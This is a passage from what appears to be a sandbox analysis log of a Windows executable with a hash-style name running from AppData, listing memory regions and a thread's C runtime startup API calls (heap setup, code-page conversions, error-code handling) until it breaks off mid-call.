name = "private_0x000000007ef98000" filename = "" Region: id = 3439 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 3440 start_va = 0x2bb0000 end_va = 0x2beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bb0000" filename = "" Region: id = 3441 start_va = 0x2e40000 end_va = 0x2e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 3442 start_va = 0x2fe0000 end_va = 0x30dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fe0000" filename = "" Region: id = 3443 start_va = 0x3650000 end_va = 0x374ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003650000" filename = "" Region: id = 3444 start_va = 0x7ef92000 end_va = 0x7ef94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 3445 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 3497 start_va = 0x74d80000 end_va = 0x74d8cfff monitored = 0 entry_point = 0x74d812d0 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 3597 start_va = 0x34f0000 end_va = 0x3600fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034f0000" filename = "" Region: id = 3598 start_va = 0x3750000 end_va = 0x3860fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003750000" filename = "" Region: id = 3599 start_va = 0x3870000 end_va = 0x3980fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003870000" filename = "" Region: id = 3600 start_va = 0x3990000 end_va = 0x3aa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003990000" filename = "" Region: id = 4390 start_va = 0x25b0000 end_va = 0x266ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Thread: id = 108 os_tid = 0x758 [0132.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3ef924 | out: lpSystemTimeAsFileTime=0x3ef924*(dwLowDateTime=0xf6f9ac20, dwHighDateTime=0x1d93032)) [0132.727] GetCurrentProcessId () returned 0x754 [0132.727] GetCurrentThreadId () returned 0x758 [0132.727] GetTickCount () returned 0x7617 [0132.727] QueryPerformanceCounter (in: lpPerformanceCount=0x3ef91c | out: lpPerformanceCount=0x3ef91c*=1699362283711) returned 1 [0132.731] GetStartupInfoW (in: lpStartupInfo=0x3ef8c8 | out: lpStartupInfo=0x3ef8c8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x3ef92c, hStdError=0xad8ca4)) [0132.731] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0132.731] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1d0000 [0132.731] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x753b0000 [0132.731] GetProcAddress (hModule=0x753b0000, lpProcName="FlsAlloc") returned 0x753c4ee3 [0132.732] GetProcAddress (hModule=0x753b0000, lpProcName="FlsGetValue") returned 0x753c1252 [0132.732] GetProcAddress (hModule=0x753b0000, lpProcName="FlsSetValue") returned 0x753c41c0 [0132.732] GetProcAddress (hModule=0x753b0000, lpProcName="FlsFree") returned 0x753c354f [0132.732] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x214) returned 0x1d07d0 [0132.733] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x753b0000 [0132.733] GetCurrentThreadId () returned 0x758 [0132.733] GetStartupInfoW (in: lpStartupInfo=0x3ef864 | out: lpStartupInfo=0x3ef864*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xad726a, hStdOutput=0xad75a3, hStdError=0x1d07d0)) [0132.733] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x800) returned 0x1d09f0 [0132.733] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0132.733] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0132.733] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0132.733] SetHandleCount (uNumber=0x20) returned 0x20 [0132.733] GetCommandLineA () returned="\"C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe\" " [0132.733] GetEnvironmentStringsW () returned 0x844bc0* [0132.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1500, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1500 [0132.733] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x5dc) returned 0x1d11f8 [0132.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1500, lpMultiByteStr=0x1d11f8, cbMultiByte=1500, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1500 [0132.733] FreeEnvironmentStringsW (penv=0x844bc0) returned 1 [0132.733] GetLastError () returned 0x5 [0132.733] SetLastError (dwErrCode=0x5) [0132.734] GetLastError () returned 0x5 [0132.734] SetLastError (dwErrCode=0x5) [0132.734] GetLastError () returned 0x5 [0132.734] SetLastError (dwErrCode=0x5) [0132.734] GetACP () returned 0x4e4 [0132.734] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x220) returned 0x1d17e0 [0132.734] GetLastError () returned 0x5 [0132.734] SetLastError (dwErrCode=0x5) [0132.734] IsValidCodePage (CodePage=0x4e4) returned 1 [0132.734] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3ef82c | out: lpCPInfo=0x3ef82c) returned 1 [0132.734] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3ef2f8 | out: lpCPInfo=0x3ef2f8) returned 1 [0132.734] GetLastError () returned 0x5 [0132.734] SetLastError (dwErrCode=0x5) [0132.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ef70c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0132.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ef70c, cbMultiByte=256, lpWideCharStr=0x3ef078, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鵧­Ā") returned 256 [0132.734] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鵧­Ā", cchSrc=256, lpCharType=0x3ef30c | out: lpCharType=0x3ef30c) returned 1 [0132.734] GetLastError () returned 0x5 [0132.734] SetLastError (dwErrCode=0x5) [0132.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ef70c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0132.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ef70c, cbMultiByte=256, lpWideCharStr=0x3ef048, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0132.734] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0132.734] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x3eee38, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0132.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x3ef60c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿM5åQDø>", lpUsedDefaultChar=0x0) returned 256 [0132.734] GetLastError () returned 0x5 [0132.735] SetLastError (dwErrCode=0x5) [0132.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ef70c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0132.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ef70c, cbMultiByte=256, lpWideCharStr=0x3ef068, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0132.735] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0132.735] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x3eee58, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0132.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x3ef50c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿM5åQDø>", lpUsedDefaultChar=0x0) returned 256 [0132.735] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xadf728, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x65 [0132.735] GetLastError () returned 0x0 [0132.735] SetLastError (dwErrCode=0x0) [0132.735] GetLastError () returned 0x0 [0132.735] SetLastError (dwErrCode=0x0) [0132.735] GetLastError () returned 0x0 [0132.735] SetLastError (dwErrCode=0x0) [0132.735] GetLastError () returned 0x0 [0132.735] SetLastError (dwErrCode=0x0) [0132.735] GetLastError () returned 0x0 [0132.735] SetLastError (dwErrCode=0x0) [0132.735] GetLastError () returned 0x0 [0132.735] SetLastError (dwErrCode=0x0) [0132.735] GetLastError () returned 0x0 [0132.736] SetLastError (dwErrCode=0x0) [0132.736] GetLastError () returned 0x0 [0132.736] SetLastError (dwErrCode=0x0) [0132.736] GetLastError () returned 0x0 [0132.736] SetLastError (dwErrCode=0x0) [0132.736] GetLastError () returned 0x0 [0132.736] SetLastError (dwErrCode=0x0) [0132.736] GetLastError () returned 0x0 [0132.736] SetLastError (dwErrCode=0x0) [0132.736] GetLastError () returned 0x0 [0132.736] SetLastError (dwErrCode=0x0) [0132.736] GetLastError () returned 0x0 [0132.736] SetLastError (dwErrCode=0x0) [0132.736] GetLastError () returned 0x0 [0132.736] SetLastError (dwErrCode=0x0) [0132.736] GetLastError () returned 0x0 [0132.736] SetLastError (dwErrCode=0x0) [0132.736] GetLastError () returned 0x0 [0132.736] SetLastError (dwErrCode=0x0) [0132.736] GetLastError () returned 0x0 [0132.736] SetLastError (dwErrCode=0x0) [0132.736] GetLastError () returned 0x0 [0132.737] SetLastError (dwErrCode=0x0) [0132.737] GetLastError () returned 0x0 [0132.737] SetLastError (dwErrCode=0x0) [0132.737] GetLastError () returned 0x0 [0132.737] SetLastError (dwErrCode=0x0) [0132.737] GetLastError () returned 0x0 [0132.737] SetLastError (dwErrCode=0x0) [0132.737] GetLastError () returned 0x0 [0132.737] SetLastError (dwErrCode=0x0) [0132.737] GetLastError () returned 0x0 [0132.737] SetLastError (dwErrCode=0x0) [0132.737] GetLastError () returned 0x0 [0132.737] SetLastError (dwErrCode=0x0) [0132.737] GetLastError () returned 0x0 [0132.737] SetLastError (dwErrCode=0x0) [0132.737] GetLastError () returned 0x0 [0132.737] SetLastError (dwErrCode=0x0) [0132.737] GetLastError () returned 0x0 [0132.737] SetLastError (dwErrCode=0x0) [0132.737] GetLastError () returned 0x0 [0132.737] SetLastError (dwErrCode=0x0) [0132.737] GetLastError () returned 0x0 [0132.737] SetLastError (dwErrCode=0x0) [0132.738] GetLastError () returned 0x0 [0132.738] SetLastError (dwErrCode=0x0) [0132.738] GetLastError () returned 0x0 [0132.738] SetLastError (dwErrCode=0x0) [0132.738] GetLastError () returned 0x0 [0132.738] SetLastError (dwErrCode=0x0) [0132.738] GetLastError () returned 0x0 [0132.738] SetLastError (dwErrCode=0x0) [0132.738] GetLastError () returned 0x0 [0132.738] SetLastError (dwErrCode=0x0) [0132.738] GetLastError () returned 0x0 [0132.738] SetLastError (dwErrCode=0x0) [0132.738] GetLastError () returned 0x0 [0132.738] SetLastError (dwErrCode=0x0) [0132.738] GetLastError () returned 0x0 [0132.738] SetLastError (dwErrCode=0x0) [0132.738] GetLastError () returned 0x0 [0132.738] SetLastError (dwErrCode=0x0) [0132.738] GetLastError () returned 0x0 [0132.738] SetLastError (dwErrCode=0x0) [0132.738] GetLastError () returned 0x0 [0132.738] SetLastError (dwErrCode=0x0) [0132.738] GetLastError () returned 0x0 [0132.739] SetLastError (dwErrCode=0x0) [0132.739] GetLastError () returned 0x0 [0132.739] SetLastError (dwErrCode=0x0) [0132.739] GetLastError () returned 0x0 [0132.739] SetLastError (dwErrCode=0x0) [0132.739] GetLastError () returned 0x0 [0132.739] SetLastError (dwErrCode=0x0) [0132.739] GetLastError () returned 0x0 [0132.739] SetLastError (dwErrCode=0x0) [0132.739] GetLastError () returned 0x0 [0132.739] SetLastError (dwErrCode=0x0) [0132.739] GetLastError () returned 0x0 [0132.739] SetLastError (dwErrCode=0x0) [0132.739] GetLastError () returned 0x0 [0132.739] SetLastError (dwErrCode=0x0) [0132.739] GetLastError () returned 0x0 [0132.739] SetLastError (dwErrCode=0x0) [0132.739] GetLastError () returned 0x0 [0132.739] SetLastError (dwErrCode=0x0) [0132.739] GetLastError () returned 0x0 [0132.739] SetLastError (dwErrCode=0x0) [0132.739] GetLastError () returned 0x0 [0132.739] SetLastError (dwErrCode=0x0) [0132.739] GetLastError () returned 0x0 [0132.740] SetLastError (dwErrCode=0x0) [0132.740] GetLastError () returned 0x0 [0132.740] SetLastError (dwErrCode=0x0) [0132.740] GetLastError () returned 0x0 [0132.740] SetLastError (dwErrCode=0x0) [0132.740] GetLastError () returned 0x0 [0132.740] SetLastError (dwErrCode=0x0) [0132.740] GetLastError () returned 0x0 [0132.740] SetLastError (dwErrCode=0x0) [0132.740] GetLastError () returned 0x0 [0132.740] SetLastError (dwErrCode=0x0) [0132.740] GetLastError () returned 0x0 [0132.740] SetLastError (dwErrCode=0x0) [0132.740] GetLastError () returned 0x0 [0132.740] SetLastError (dwErrCode=0x0) [0132.740] GetLastError () returned 0x0 [0132.740] SetLastError (dwErrCode=0x0) [0132.740] GetLastError () returned 0x0 [0132.740] SetLastError 